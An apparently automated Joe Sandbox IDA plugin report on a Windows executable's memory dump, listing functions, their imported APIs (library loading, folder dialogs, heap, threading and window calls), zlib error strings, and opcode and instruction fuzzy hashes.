Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size$unknown compression method
API String ID: 0-1186847913
Opcode ID: 52ed7635aeae8ff526247262ac50360336e7a020413c2717a67c94432d795328
Instruction ID: 2adac2097dd96be31fc3b588942c2867655d7ffa7f23b7c0480b06af30ac11af
Opcode Fuzzy Hash: 52ed7635aeae8ff526247262ac50360336e7a020413c2717a67c94432d795328
Instruction Fuzzy Hash: 35917F726042008BFB6ACF26D58879D3BE5F3083D4F154129EB598BBB0D73AD9A1CB40

Function 0000000140013507 Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

invalid block type, xrefs: 0000000140013628
, xrefs: 000000014001352B
, xrefs: 0000000140013507

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $ $invalid block type
API String ID: 0-2056396358
Opcode ID: 6a1db03687435ebb1430cf625d2d53183cb1bdca78445c29a8775c11b27300e0
Instruction ID: a7252faa3c80580baed472012d71d0b62e6cbeab3839f0b874d886ed0dadd07f
Opcode Fuzzy Hash: 6a1db03687435ebb1430cf625d2d53183cb1bdca78445c29a8775c11b27300e0
Instruction Fuzzy Hash: 6F6190B3610B508BE726CF26D9883AD37A0F3193D4F554125EB568BBE0D77AD590CB40

Function 000000014000EA48 Relevance: 2.8, APIs: 1, Instructions: 1540COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014000EA7A

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: b2a6db502280213d3f7fe6332d1fff197779c33e7365e9d34c0e6334cca0ff18
Instruction ID: c8f745e53e58f4d3ff63e30af0f782c513ee99f48fb140b821e661274e727f8d
Opcode Fuzzy Hash: b2a6db502280213d3f7fe6332d1fff197779c33e7365e9d34c0e6334cca0ff18
Instruction Fuzzy Hash: 1DC291B3A282408BD368CF69E85665BB7A1F7D8748F45A029FB87D3B44D63CD9018F44

Function 0000000140010210 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a696735792be4af076da833e5dcb064fa3499b6e6f110371e014232abd0523
Instruction ID: 022ba38ea2fc746ee1b0595bfd7f682d53a7df84c20089d95d53e5e85305b389
Opcode Fuzzy Hash: 28a696735792be4af076da833e5dcb064fa3499b6e6f110371e014232abd0523
Instruction Fuzzy Hash: E32283B7F744204BD71DCB69EC52FE836A2B75434C709A02CAA17D3F44EA3DEA158A44

Function 0000000140014E90 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf726ec6ae42089ceab56936488a5fdcc83c03c51bcf0dd9a340e541980c14d4
Instruction ID: 127c8a3eefbec1cf179e73712b468f180dd3e669bf73dd13b43b77d2e925ff5f
Opcode Fuzzy Hash: cf726ec6ae42089ceab56936488a5fdcc83c03c51bcf0dd9a340e541980c14d4
Instruction Fuzzy Hash: F8818E733301749BE7668A2EA514BE93690F3693CEFC16114FB8487B85CA3DB921CB40

Function 0000000140014E80 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5c31c79345c80cbc84505c9318a96aa45c2c473e25a63ddceb6769520a1643
Instruction ID: 09e49e300f3b48ce8064fe567ba8ae1e18cb52cb4f612ff9abff1437f032a71a
Opcode Fuzzy Hash: 5c5c31c79345c80cbc84505c9318a96aa45c2c473e25a63ddceb6769520a1643
Instruction Fuzzy Hash: D5712BB33301749BEB658B1E9514BA93390F36A389FC16105FB855BB85CA3EB921CB50

Function 0000000140015220 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0114d8148b93b9f8dfc86a188f1120884a474c0a348be332542b91698de2cadc
Instruction ID: 87c4626dc5aae324383e141a43b2e00566bb5f4a4c096efdb9aa1e36bd959186
Opcode Fuzzy Hash: 0114d8148b93b9f8dfc86a188f1120884a474c0a348be332542b91698de2cadc
Instruction Fuzzy Hash: CB41843721064087FBAA9B1AA010BEE7790E79A7C5F949115DB829FAE0CA7BD5058B00

Function 000000014000BC94 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 115libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000BCDB
memset.MSVCRT ref: 000000014000BCEC
LoadLibraryW.KERNEL32 ref: 000000014000BCFB
GetProcAddress.KERNEL32 ref: 000000014000BD1C
GetProcAddress.KERNEL32 ref: 000000014000BD2F
wcsncpy.MSVCRT ref: 000000014000BD53
wcslen.MSVCRT ref: 000000014000BD66
CoTaskMemFree.OLE32 ref: 000000014000BDF2
wcslen.MSVCRT ref: 000000014000BDFB
FreeLibrary.KERNEL32 ref: 000000014000BE18

Strings

SHELL32.DLL, xrefs: 000000014000BCF1
SHGetPathFromIDListW, xrefs: 000000014000BD22
SHBrowseForFolderW, xrefs: 000000014000BD12
P, xrefs: 000000014000BD9C

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskmemsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 217932011-4219398408
Opcode ID: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction ID: 4189c401249be1c18680961fdd5f00b64fd9ff4c66db3fab09ee0cba437a9a89
Opcode Fuzzy Hash: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction Fuzzy Hash: 6C418F72211B4086EB16EF12F8447EA73A4F78CBC8F544125EB49477A5DF39C55AC700

Function 000000014000DB18 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 107libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

LoadLibraryW.KERNEL32 ref: 000000014000DB51
GetProcAddress.KERNEL32 ref: 000000014000DB69
wcscpy.MSVCRT ref: 000000014000DB9A
wcscat.MSVCRT ref: 000000014000DBA9
wcslen.MSVCRT ref: 000000014000DBB1
CoTaskMemFree.OLE32 ref: 000000014000DBBE
FreeLibrary.KERNEL32 ref: 000000014000DBC7
wcscat.MSVCRT ref: 000000014000DBEC
wcslen.MSVCRT ref: 000000014000DBF4

Strings

SHGetKnownFolderPath, xrefs: 000000014000DB5F
Shell32.DLL, xrefs: 000000014000DB4A
Downloads\, xrefs: 000000014000DBE2

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1740785346-287042676
Opcode ID: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction ID: 39544a34e48b1591535f5ec23c8084432afafb0fbbbedabb5ee694640fe7ccea
Opcode Fuzzy Hash: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction Fuzzy Hash: A94184B1214A46C2FA26EB57B4A4BF97291AB8C7D0F540127BB0A0B7F5DEB9C841C610

Function 0000000140016CC4 Relevance: 19.6, APIs: 13, Instructions: 81memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140016CF2
InitializeCriticalSection.KERNEL32 ref: 0000000140016D01
TlsGetValue.KERNEL32 ref: 0000000140016D17
HeapAlloc.KERNEL32 ref: 0000000140016D37
EnterCriticalSection.KERNEL32 ref: 0000000140016D4C
LeaveCriticalSection.KERNEL32 ref: 0000000140016D6F
GetCurrentProcess.KERNEL32 ref: 0000000140016D75
GetCurrentThread.KERNEL32 ref: 0000000140016D7E
GetCurrentProcess.KERNEL32 ref: 0000000140016D87
DuplicateHandle.KERNEL32 ref: 0000000140016DAC
RegisterWaitForSingleObject.KERNEL32 ref: 0000000140016DD1
TlsSetValue.KERNEL32 ref: 0000000140016DE0
HeapAlloc.KERNEL32 ref: 0000000140016DF3

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction ID: 65bd0fc00ed65caac6c8ae18375092c396c339aa9c4fc9a556ba9f8eb5a1fbfe
Opcode Fuzzy Hash: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction Fuzzy Hash: F141E132205B408AEB129F62EC443E977A0F78CBD5F484129EB490B774DF39C959D740

Function 0000000140008260 Relevance: 13.7, APIs: 9, Instructions: 249COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 0000000140008373

Part of subcall function 0000000140012630: TlsGetValue.KERNEL32 ref: 000000014001263F

_wcsdup.MSVCRT ref: 00000001400083AD
_wcsdup.MSVCRT ref: 00000001400083D0
_wcsdup.MSVCRT ref: 00000001400083EE
wcsncpy.MSVCRT ref: 00000001400084F6
free.MSVCRT ref: 0000000140008570
free.MSVCRT ref: 0000000140008582
free.MSVCRT ref: 0000000140008596
wcsncpy.MSVCRT ref: 00000001400085CE

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID:
API String ID: 1554701960-0
Opcode ID: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction ID: 9aa5ebfb9d0338231e5de8689cc7ecd01d3be8732c0a46cca62a2a5aa1271af7
Opcode Fuzzy Hash: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction Fuzzy Hash: FB91BFB2604A8185EA76DF13B9507EA73A0FB48BD5F484225BFCA476E5EB38C542C701

Function 000000014000B64C Relevance: 12.1, APIs: 8, Instructions: 56COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 000000014000B674
EnableWindow.USER32 ref: 000000014000B6F6
DestroyWindow.USER32 ref: 000000014000B706
UnregisterClassW.USER32 ref: 000000014000B71C

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Window$ClassDestroyEnableProcUnregister
String ID:
API String ID: 1570244450-0
Opcode ID: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction ID: 9942cbda7600913111d3f6e009e2264a98590d225334710fbbc2bdadcd09b10d
Opcode Fuzzy Hash: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction Fuzzy Hash: F121F9B4204A5182FB56DB27F8483A923A1E78CBC1F549126FB4A4B7B5DF3DC8459700

Function 000000014000BEA0 Relevance: 12.0, APIs: 8, Instructions: 44threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 000000014000BEAF
GetCurrentThreadId.KERNEL32 ref: 000000014000BEB7
IsWindowVisible.USER32 ref: 000000014000BEC4

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

GetCurrentThreadId.KERNEL32 ref: 000000014000BEE6
GetWindowLongPtrW.USER32 ref: 000000014000BEFC
GetForegroundWindow.USER32 ref: 000000014000BF0A
IsWindowEnabled.USER32 ref: 000000014000BF18
EnableWindow.USER32 ref: 000000014000BF2B

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction ID: 80f857dfb6a9a2f530fca3cb10c8fb692f8ca5f83b5b0ec86a1534c3d91aadad
Opcode Fuzzy Hash: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction Fuzzy Hash: 9D11397020064182EB46AB27A9483B962A1EB8CBC4F448024FA0A4B6B5DF7DC5458301

Function 0000000140011AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140011AD9
GetProcAddress.KERNEL32 ref: 0000000140011AF5
FreeLibrary.KERNEL32 ref: 0000000140011B1A
Sleep.KERNEL32 ref: 0000000140011B3A

Strings

Kernel32.dll, xrefs: 0000000140011ACD
InitOnceExecuteOnce, xrefs: 0000000140011AEB

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Library$AddressFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 938261879-1339284965
Opcode ID: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction ID: 258e5301f75bcfa7e340e12184f2e3f20ed82b399a9dd39da3854f47a4428b06
Opcode Fuzzy Hash: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction Fuzzy Hash: AB118F3120974585EB5ADF57E8843E973A0FB8CBD0F488029AB0A0B666EF3AC595C340

Function 000000014000BF44 Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 000000014000BF61
GetCurrentThreadId.KERNEL32 ref: 000000014000BF7A
SetWindowPos.USER32 ref: 000000014000BFAB
GetCurrentThreadId.KERNEL32 ref: 000000014000BFCA
EnableWindow.USER32 ref: 000000014000BFE4
SetWindowPos.USER32 ref: 000000014000C010

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction ID: 08829170a8ee5f1b49cfdf050f6537c1ef42b3a6330418e8cb94bb4851fba9f1
Opcode Fuzzy Hash: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction Fuzzy Hash: 6D3171B261064182FB62CF22F5487A977A1F75CBE9F484215FB6947AF9CB79C844CB00

Function 00000001400110DC Relevance: 9.1, APIs: 6, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140011112
HeapAlloc.KERNEL32 ref: 000000014001112D
TlsSetValue.KERNEL32 ref: 000000014001113C
TlsGetValue.KERNEL32 ref: 000000014001115F
HeapReAlloc.KERNEL32 ref: 000000014001117B
TlsSetValue.KERNEL32 ref: 000000014001118D

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction ID: 773301f083ee798336704ec3d5312664b9b868eef9dc2a5d6ba13fea1fa7b4fd
Opcode Fuzzy Hash: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction Fuzzy Hash: 3821F434200B8096EB4A9B92F8843E963A5F7DCBD0F548429FB4D47B79DE3DC8858740

Function 0000000140007284 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00000001400072B3
EnterCriticalSection.KERNEL32 ref: 00000001400072CC
WaitForSingleObject.KERNEL32 ref: 00000001400072E4
CloseHandle.KERNEL32 ref: 00000001400072F1
LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterHandleLeaveObjectSingleThreadWait
String ID:
API String ID: 458812214-0
Opcode ID: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction ID: 6ed0f769cbd5916c92599595d34faf5ec2fc13e913d525d246d608b89e2aac48
Opcode Fuzzy Hash: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction Fuzzy Hash: FD210076204B0081EB06DB22E8943E973A4FB8CBC4F988026EB4D47779DF39C946C340

Function 0000000140011968 Relevance: 7.6, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011985
LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7

DeleteCriticalSection.KERNEL32 ref: 0000000140011A0B
HeapFree.KERNEL32 ref: 0000000140011A1D

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction ID: 030e86aa03d9d600b90796447865b7023312810cb66964dcc71f9bcfbca43c2c
Opcode Fuzzy Hash: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction Fuzzy Hash: 4721E735201B4485EB4ADB57E5903E823A4F78CBC4F444115AB5E0B7B6CF3AC4A5C340

Function 00000001400117FC Relevance: 6.3, APIs: 5, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011855
HeapAlloc.KERNEL32 ref: 0000000140011890
LeaveCriticalSection.KERNEL32 ref: 00000001400118FB
HeapAlloc.KERNEL32 ref: 0000000140011910
InitializeCriticalSection.KERNEL32 ref: 0000000140011952

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$AllocHeap$EnterInitializeLeave
String ID:
API String ID: 2544007295-0
Opcode ID: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction ID: 3c708bd0e8d6be70d523372ffb5b6a2e3cd9d0d7dbc1ea7b56162c86fa93b61b
Opcode Fuzzy Hash: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction Fuzzy Hash: 5E413932605B8086EB5ADF56E4403E877A4F79CBD0F54812AEB4D4BBA5DF39C8A5C700

Function 000000014000E824 Relevance: 6.3, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000E9C7
memset.MSVCRT ref: 000000014000E9D5
